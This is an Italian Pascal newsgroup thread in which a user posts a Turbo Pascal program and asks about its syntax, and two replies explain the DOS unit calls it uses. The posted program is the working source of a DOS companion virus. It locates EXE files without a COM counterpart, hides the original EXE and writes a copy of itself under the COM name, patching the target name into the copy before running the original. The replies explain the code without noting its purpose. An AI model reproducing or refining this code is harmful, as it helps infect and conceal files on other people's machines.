Newsgroup: it.comp.lang.pascal
Titolo: mi aiutate a capire questo prog. ?

Ci sono alcune righe di questo programma che non capisco e cio'   mi
impedisce di comprendere appieno il suo funzionamento.
program pippo;
{$M $4000,0,0 }   { 16K stack, no heap } 
^^^^^^^^^^^^^^
*questa riga non l'ho capita*
uses dos,crt; 
type fil= file of char; 
var filexe,filecom:array[1..100]of string; 
    f,fvir:fil; 
    s,s1,infetto,target,sano:string[12]; 
    c,app:char; 
    i,j,z,k,trovato:integer; 
    DirInfo: SearchRec; 
    ^^^^^^^
    *che tipo di dato e' SearchRec?* 
begin 
    for i:=1 to 100 do begin 
                            filexe[i]:=''; 
                            filecom[i]:=''; 
                       end; 
     j:=1; 
     k:=0; 
     trovato:=0; 
     z:=0; 
     i:=1; 
     s:='
nomefile.com
'; 
     findfirst('*.EXE', Archive, DirInfo); 
     ^^^^^
     *cosa fa e come si usa findirst?*
 
     filexe[1]:=
dirinfo.name
; 
     while doserror=0 do begin 
           ^^^^^^^^
*ma la variabile doserror dove e' stata dichiarata?*    *se non e' una
variabile cos'e' ?*           
                              i:=i+1; 
                              findnext(DirInfo); 
                              ^^^^^^^^
*findnext cosa fa ?*
                              filexe[i]:=
dirinfo.name
; 
                          end; 
     findfirst('*.com', Archive,dirinfo); 
     filecom[1]:=
dirinfo.name
; 
     while doserror=0 do begin 
                              j:=j+1; 
                              findnext(dirinfo); 
                              filecom[j]:=
dirinfo.name
; 
                         end; 
        repeat z:=z+1; 
               infetto:=filexe[z]; 
               delete(infetto,(length(infetto)-2),3); 
               infetto:=infetto+'COM'; 
           repeat 
                k:=k+1; 
                if infetto=filecom[k] then trovato:=1; 
           until k=j; 
                if trovato<>1 then target:=INFETTO; 
     until (z=i) or (trovato<>1); 
     if filexe[1]='' then trovato:=1; 
      if trovato<>1 then 
              begin 
                   sano:=target; 
                   delete(sano,(length(sano)-2),3); 
                   ^^^^^^^^^
         *qual'e' la sintassi di delete*                    
 
                   sano:=sano+'EXE'; 
                   assign(f, sano); 
                   setfattr(f, hidden); 
                    ^^^^^^^^^
          *anche questo comando non l'ho capito*                   
                   reset(f); 
                   for i:=1 to 12-length(target) do target:=target+'
'; 
                   assign(fvir,target); 
                   rewrite(fvir); 
                   assign(f,s); 
                   reset(f); 
                           repeat 
                                 read(f,c); 
                                 write(fvir,c); 
                           until eof(f); 
                   close(f); 
                   seek (fvir,321); 
                   for i:= 1 to length(target) do 
                         write(fvir,target[i]); 
                   app:=chr(32); 
                    ^^^
                   *cosa fa app ?*                 
                   for i:= length(sano) to 11 do write (fvir,app); 
                   close (fvir); 
              end; 
        delete(s,(length(s)-2),3); 
        s:=s+'EXE'; 
        SwapVectors; 
        Exec(s,''); 
        SwapVectors; 
end. 
*mi potete spiegare anche la sintassi dei comandi swapvector ed Exec?
*
Spero in un vostro aiuto.....
Grazie 1000000000 !!!!
______________________________
e-mail:  
Aur...@hotmail.com
ICQ:     16005054

Trovi tutto nell'help, comunque:
 - la direttiva $M limita la memoria usata per il programma (serve
soprattutto se dal programma lanci altri exe
 - Searchrec è dichiarato come type nella unit DOS, strutturato per
contenere dati sui file
 - La variabile Doserror è dichiara sempre in unit DOS; lavora in combinata
con FindFirst e Findnext: se non trova file corrispondenti al criterio di
ricerca indicata restituisce Doserror <> 0
 - Delete e Setfattr non ricordo a memoria, guarda nell'help (ma esiste
setfattr o è una sub?)
 - app è dichiarata come char, e contiene il carattere con ASCII 32 (che
dovrebbe essere lo spazio)
 - swapvectors non ha parametri, fa tutto lui (salva l'ambiente prima di
eseguire un altro programma), exec ha come 1° parametro il nome del
programma e come 2° eventuali parametri da passare al programma.
Ciao.

you wrote :
#{$M $4000,0,0 }   { 16K stack, no heap } 
#^^^^^^^^^^^^^^
#*questa riga non l'ho capita*
La direttiva M serve ad impostare le quantita' di memoria per il
programma.
Il primo valore e' riferito allo stack, dato che e' espresso in
esadecimale, esso vale 16384 ovvero 16 Kb.
Il secondo valore e' riferito alla quantita' minima di memoria heap da
utilizzare con il programma (0 byte).
Il terzo valore e' riferito alla quantia' massima di memoria heap da
utilizzare con il programma (0 byte).
Il programma utilizza pertanto solo 16 Kb di stack e non fa uso della
memoria heap.
#    DirInfo: SearchRec; 
#    ^^^^^^^
#    *che tipo di dato e' SearchRec?* 
E' definito in dos.tpu come 
type SearchRec = record
                   Fill : array [1..21] of byte ;
                   Attr : byte ;
                   Time : longint ;
                   Size : longint ;
                   Name : string [12] ;
                 end ;
Questi dati sono riferiti alle ricerche effettuate con
FindFirst/FindNext.
#     findfirst('*.EXE', Archive, DirInfo); 
Cerca il primo file con estensione .EXE e attributo Archive e ne salva
i dati in DirInfo.
#     while doserror=0 do begin 
#           ^^^^^^^^
DosError e' una variabile dichiarata in dos.tpu e che viene settata da
FindFirst/FindNext nel caso ci sia un errore su disco o non si riesca
a trovare nessun file specificato.
#                              findnext(DirInfo); 
Cerca il prossimo file con estensione .exe.
#                   ^^^^^^^^^
#         *qual'e' la sintassi di delete*                    
Delete( var stringa : string ; posizione : integer ; 
        numero : integer ) ;
Cancella nella _stringa_ il _numero_ di caratteri specificati a
partire da una determinata _posizione_.
#                   setfattr(f, hidden); 
#                    ^^^^^^^^^
E' una procedura contenuta in dos.tpu che serve ad attribuire al file
f l'attributo "hidden" ovvero "nascosto", cioe' a non farlo comparire
quando si digita "dir".
#                   app:=chr(32); 
#                    ^^^
#                   *cosa fa app ?*                 
app contiene un carattere di spazio.
La scrittura app := chr(32) e' equivalente a app := #32 o piu'
semplicemente app := ' ' ;
E' sempre meglio utilizzare quest'ultima notazione.
#        SwapVectors; 
#        Exec(s,''); 
#        SwapVectors; 
#
#end. 
#
#*mi potete spiegare anche la sintassi dei comandi swapvector ed Exec?
Exec esegue dei programmi esterni ed i parametri che si passano sono
nell'ordine il nome del programma e i parametri sulla linea di
comando.
SwapVectors serve a ripristinare i vettori di interrupt prima
dell'esecuzione del comando esterno e a recuperarli subito dopo.
I programmi generati con il turbo pascal intercettano alcuni vettori
di interrupt del sistema per sostituire le routine predefinite con le
proprie.
Andrea Laforgia        (
andrea_...@bigfoot.com
)
----------------------------------------------------
There is nothing better for understanding a kangaroo
than seeing it jump.
----------------------------------------------------

>Trovi tutto nell'help, comunque:
Purtroppo la mia versione del turbo Pascal 7 non e' completa e mi
mancano tutti i file txt e doc
Mi potresti mandare i tuoi ?
mi faresti un gran favore.
ciao.
